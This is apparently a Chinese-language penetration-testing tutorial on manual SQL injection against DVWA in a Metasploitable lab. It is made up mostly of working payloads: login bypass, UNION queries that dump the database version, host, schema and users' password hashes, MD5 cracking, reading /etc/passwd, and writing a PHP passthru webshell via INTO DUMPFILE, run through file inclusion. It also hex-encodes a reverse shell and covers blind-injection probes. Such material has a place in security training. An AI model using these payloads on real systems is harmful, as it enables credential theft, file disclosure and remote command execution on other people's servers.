5.手动漏洞挖掘,sql注入
任务089:KALI版本更新(第一个ROLLING RELEASE)和手动漏洞挖掘(SQL注入)
实验环境
实验靶机metasploitable-linux-2.0.0里面的DVWA
sql注入介绍
服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器
也可以控制到客户端,也可以用sql注入上发文件,sql注入也读取文件
其实注入的都是sql语句
- 原理下面是一个比如无需密码登陆
- 这个是正常情况下
SELECT * FROM users WHERE user='里面是用户输入的账号' AND password='里面是用户输入的密码' - 注入无需密码登陆
SELECT * FROM users WHERE user='账号还是原账号' AND password=''空格OR'1'='1'
上面那个输入密码的地方’’空格OR’1’=’1’意思介绍,’空密码’ OR是逻辑运算符或1=1这两个数都是真条件就满足,满足就是真,账号对密码对就登陆成功了。 - 应为服务器端没有过严格的过滤导致的注入
- 这个是正常情况下
常用注入
判断注入点
下面是正常输入![]()
![]()
基于报错的检查方法
1 | ' " % () |
判断报错就能判断是否访问数据库
输入个'发现报错了说明可能带是叫'带入了数据库![]()
![]()
基于布尔的检查方式
1 | '1' and '1'='1' 或'1' and '1' |
使用’1’ and ‘1’=’1’判断
发现输入可以正常显示说明![]()
应为1 然后 逻辑and或运算符1=1两个都是真所有可以正常显示
下面是1=2为假数据库就报错了![]()
and竟然是逻辑或那没就直接可以and '1这个也是真
发现可以正常返回正常页面![]()
查看sql语句查询字段
查看字段可以进行进一步的的注入方法,每个查询的字段都有可能是我们注入更好的选择
有的时候检查的有2个字段,但是字段是*的话 应为星的所有字段那么检查的时候可能会查询10几个或者是20几个
下面那可以看到有2个字段![]()
这个输入输入都一样order by 要查询多少个语句 –
如果查询错了那就返回页面报错![]()
点击提交![]()
发现抱错了,抱错说明不是50个字段![]()
然后在9,发现也报错了,说明也不是9字段![]()
然后在2发现没有返回任何东西,说明是2个字段,要是1也不会返回任何东西只能是大于才进行报错![]()
可以用burp工具
联合查询union 和union all
使用union来选择查询
查看位置
'union select 1,2 -- 最后是有个空格的自己加上,上面我已经知道有2个所以这个我就选择查询1到2个
第一个’是进行给前面闭合的,后面–是注释的符号![]()
下面是演示叫字段显示出来![]()
查询用户1'union select user(),2 -- 最后是有个空格的自己加上,
这个user()查询当前用户
2还是查询2个字段![]()
看一下结果![]()
下面都是利用这2个这个字段来进行查询的
查看版本
' union select user() ,version() -- 最后是有个空格的自己加上,下面介绍
version()是sql函数他是查看版本的
看一下结果![]()
查看当前目录
' union select user() ,@@datadir -- 最后是有个空格的自己加上,下面介绍
@@datadir 是查看当前目录
看一下结果![]()
查看目标电脑用户名
' union select user() ,@@hostname -- 最后是有个空格的自己加上,下面介绍
@@hostname是查看电脑用户名
看一下结果![]()
查看系统
' union select user() ,@@version_compile_os -- 最后是有个空格的自己加上,下面介绍
@@version_compile_os是查看系统类型的
看一下结果![]()
叫所有的函数放到一个字段里
' union select user() ,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) -- 最后是有个空格的自己加上,下面介绍
CONCAT_WS()就是在一个字段里面执行多个函数
查看一下结果![]()
用mysq的information_schema查询
information_schema数据库是 MySQL 自带的信息数据库information_schema是sql自带的信息库存放这MySQL服务器所有数据库的信息
2.5.1.' union select table_name,table_schema from information_schema.tables-- 最后是有个空格的自己加上,下面介绍
第一个字段是table_name
第二个字段是 table_schemainformation_schema.tables意思是查看information_schema数据库里面的tables表的字段table_name和字段table_schema 里面的内容
看一下结果![]()
统计一下所有的库和表的数量' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema -- 最后是有个空格的自己加上,下面介绍
information_schema库,查看库然后用count(*) 来计数计算
group by 是进行会总就是,有重复的就显示一个,会总的是table_schema 是列名
看一下结果![]()
我发现存在一个漏洞都可以叫所有库和表都能查出来
查看DVWA库里面的表
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'-- 最后是有个空格的自己加上,下面介绍
在前面基础加上了where函数 table_schema=’dvwa’意思是只查dvwa库
看一下结果
可以看的有个users的表名里面可能放着用户密码,users是最有可能怀疑的对象![]()
2.5.4.查看users表里面的列' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users’-- 最后是有个空格的自己加上,下面介绍
还是查看的information_schema这个数据库里面的columns表里面的table_schema列里面是dvwa的数据
where table_schema=’dvwa’在这个dvwa查看users表里都有什么列
看一下结果
发现了 user里面可能放着账号
发现了password里面可能放着密码![]()
查看 user列和password列的内容
' union select user,password from dvwa.users-- 最后是有个空格的自己加上,下面介绍
查看dvwa数据库里面的users表里面的user和password列里面的数据
看一下结果
可以看的列出来了的所有的用户和密码
密码被加密了![]()
下面是进行解码
进行解密
下面是进行解密上面的怀疑是哈希值的
用hash-identifier工具进行看看是什么进加密的,这个工具kali自带![]()
发现是MD5![]()
可以去百度进行md5解码
可以看见密码了![]()
sql漏洞读文件和写文件
这个是接着上一个1,SQL注入,查看服务器系统,拿到账号密码。写的
读取文件
利用load_file函数进行读取系统文件
下面都是用burp进行发送的请求
发送的请求是1234![]()
使用burp看看请求的内容![]()
在burp工具里发送到Repeater模块里
在这里面原始数据直接可以看见发的信息
双击就能修改里面的1234![]()
下面全部是使用的burp工具进行发送请求
读取文件/etc/passwd' union SELECT null, load_file('/etc/passwd') --
第一个字段 null是空的意思
第二个字段load_file这个函数是读取文件的,然后读取的是/etc/passwd文件
还可以查看其他文件,要看看你的权限够不够了
看一下结果可以看见已经读取出来了![]()
文件写操作
用into dumpfile函数写操作' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --
第一个字段null是空的意思
第二个字段是放的是"<?php passthru($_GET['cmd']); ?>" 这个是一个页面木马,将他放到www目录下应为是页面木马
看一下结果发现没有叫这个木马文件写入到里面应为权限不够
应为权限只是sql进程的权限![]()
2.2.不指定绝对路径是可以写进去的' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE " 'a.php' --
就算能写进去也找不到写进去的文件,就算能找到也有可能访问不了的
看一下结果![]()
利用sql注入在利用上节课的文件包含漏洞进行写入木马在利用木马' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/tmp/a.php" --
叫木马写到tmp文件里
将木马文件写入到tmp目录里
tmp目录是任何人都可以访问和修改文件的所以写入到tmp目录里
然后在里用文件包含漏洞去运行写到tmp里被写入到木马文件
看一结果发现已经写进去了![]()
在利用文件包含运行木马来施行命令
看一下运行的结果可以运行![]()
进行16进制编码
有的情况会安全机制会过滤想比如php,<,>还有很多
遇见这种情况我们可以进行各种编码
下面我就用16进制编码
用kali 的xxd来进行16进制编码
发送反向连接shell
kali自动一个php木马文件
在/usr/share/webshells/php/php-reverse-shell.php ![]()
叫木马的反向的ip设置成自己的![]()
开始16进制解析
发现有有换行有换行的话会出现服务器解析不了![]()
下面是用个管道叫换行符删除。tr -d (要删除的东西)![]()
叫16编码好的用burp发送到服务器里
向服务器端发送的时候用为字太多就发送失败了,你可以用一个少的shell木马这个就不演示了![]()
4.2.叫3.的php木马利用文件包来进行访问,下面是叫他进行16进制编码在进行实现一下' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/tmp/a.php" --
叫这个php的木马保存到b.php里![]()
然后在进行16进制编码![]()
可以看到已经写进去![]()
在利用文件包含运行木马来施行命令
看一下运行的结果可以运行![]()
保持和下载数据库
比如我们要查看账号密码数据库的话要是里面的有1万个账号密码web可能就崩溃了所有我们可以保存下载查看和批量查看' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/ tmp/a.db'--
查看到的账号密码OUTFILE到文件里然后在用文件包含漏洞进行访问,如果web可以文件包含漏洞,那只能批量访问了。
看一下结果发送成功![]()
然后利用文件包含漏洞进行访问账号密码![]()
一个思路 web渗透可能会出现很多限制,意想不到的情况
下面用这个php代码创建一个表单的页面然后在这个页面,然后在这个页面里用户账号数据库里面插入一个账号,
就算拿到了密码现在的企业都是安全很高的,要进行密码解码破解是很难的,
下面的代码也是通过sql漏洞那2个字段进行
1 | ' union select null,' if(isset($_POST["submit"])) { $userID = $_POST["userID"]; $first_name |
下面就用浏览器的hackbar工具进行演示
看一下结果已经写进去了![]()
利用文件包含漏洞进行访问,可以看见可以添加密码了![]()
sql盲注
web没有编写好显示过滤有数据库返回的报错信息,黑客可以通过报错信息了判断漏洞存在
sql盲注介绍
测试是否存在sql注入漏洞
下面就是没有过滤好发现了他存在sql漏洞![]()
sql盲注就是看不见他报错的信息,报错的信息被过滤了,看不见我们在进行sql注入这个就叫sql盲注了
看一下返回就结果没有显示任何东西![]()
判断注入点
输入一个1' and 1=1--
发现被执行了说明有sql注入的![]()
2.2查看有多少个字段
和1 sql注入的笔记一样的只是对了才显示内容不对就不显示任何内容
‘ order by 5–
看一下结果没有任何反应的说明不是5个字段![]()
发现测试到最多2的时候就显示了![]()
后面就和1,SQL注入,查看服务器系统,拿到账号密码笔记里一样了,后面就不太做演示了
可以去我博客里去看 1,SQL注入,查看服务器系统,拿到账号密码
后面但是有空格的
2.联合查询 ’ union select 1,2 --
3.查询用户’'union select user(),2 --
4.查看版本 ' union select user() ,version() --
5.查看当前目录' union select user() ,@@datadir --
6.查看目标电脑用户名 ' union select user() ,@@hostname --
7.查看系统' union select user() ,@@version_compile_os --
8.叫所有的函数放到一个字段里' union select user() ,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) --
10.mysq查看linformation_schema内容' union select table_name,table_schema from information_schema.tables--
11.统计一下所有的库和表的数量' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema --
12.查看DVWA库里面的表' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--
13.查看users表里面的列' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users’--
14.查看 user列和password列的内容' union select user,password from dvwa.users--
看一下结果![]()
3. 猜测这个是就怎么演示了在是3 sql注入 暴力破解里面3 sql注入 暴力破解里面
后面都是有空格的
猜列名’ and asd is null–
猜测表名' and 列名.要猜测的表名 is null--






